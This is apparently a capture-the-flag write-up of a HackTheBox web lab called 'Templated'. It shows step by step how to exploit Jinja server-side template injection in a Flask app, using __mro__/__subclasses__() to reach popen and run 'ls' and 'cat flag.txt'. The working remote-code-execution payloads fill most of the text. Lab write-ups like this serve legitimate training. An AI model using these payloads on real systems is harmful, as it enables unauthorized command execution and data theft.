Templated

Platform: HackTheBox | Category: Web | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Can you exploit this simple mistake?

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. First, open the host given.

2. Actually the <p> tag value does give us a hint, we shall do RCE (Remote Code Execution) with python.

3. In jinja, python will evaluate any command inside the curly brackets.

4. Then it will appear in the HTML of the webpage.

5. To make sure of it, let us insert config.items() inside the curly brackets but first encode it into an url using cyberchef.

ENCODED COMMAND TO URL

165.232.32.50:31397/%7B%7Bconfig.items()%7D%7D

1. Now we proved that the server is running on flask, to exploit the website, we can make use of MRO (Method Resolution Order).

MRO is used to traverse up the request library in flask to import os library.
Once the attacker have access to the os library then "they" can execute any command and it will be rendered to the attacker.

Have access to os library == have the shell access.

1. To have access to os library, we need to find the index of a special class in python which has a function called popen.
2. Here's how to find it.

THE COMMAND

{{"".__class__.__mro__[1].__subclasses__()}}

ENCODED

165.232.32.50:31397/%7B%7B%22%22.__class__.__mro__%5B1%5D.__subclasses__()%7D%7D

1. Since it's harder for us to find the index, let us slice it.

SLICE 100:

{{"".__class__.__mro__[1].__subclasses__()[100:]}}

1. There's no popen(), let us slice it again at 200.

2. Actually i didn't find it until i sliced at 400. I Finally found the popen().

3. Filter it again to 410

{{"".__class__.__mro__[1].__subclasses__()[410:]}}

1. Great the index is 414.
2. To have access to the host machine, we shall encode this command, and paste the encoded one:

{{"".__class__.__mro__[1].__subclasses__()[414]("ls",shell=True,stdout=-1).communicate()}}

1. Now we know there's a flag.txt file, let us cat it.

{{"".__class__.__mro__[1].__subclasses__()[414]("cat flag.txt",shell=True,stdout=-1).communicate()}}

1. Finally, we got the flag!

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.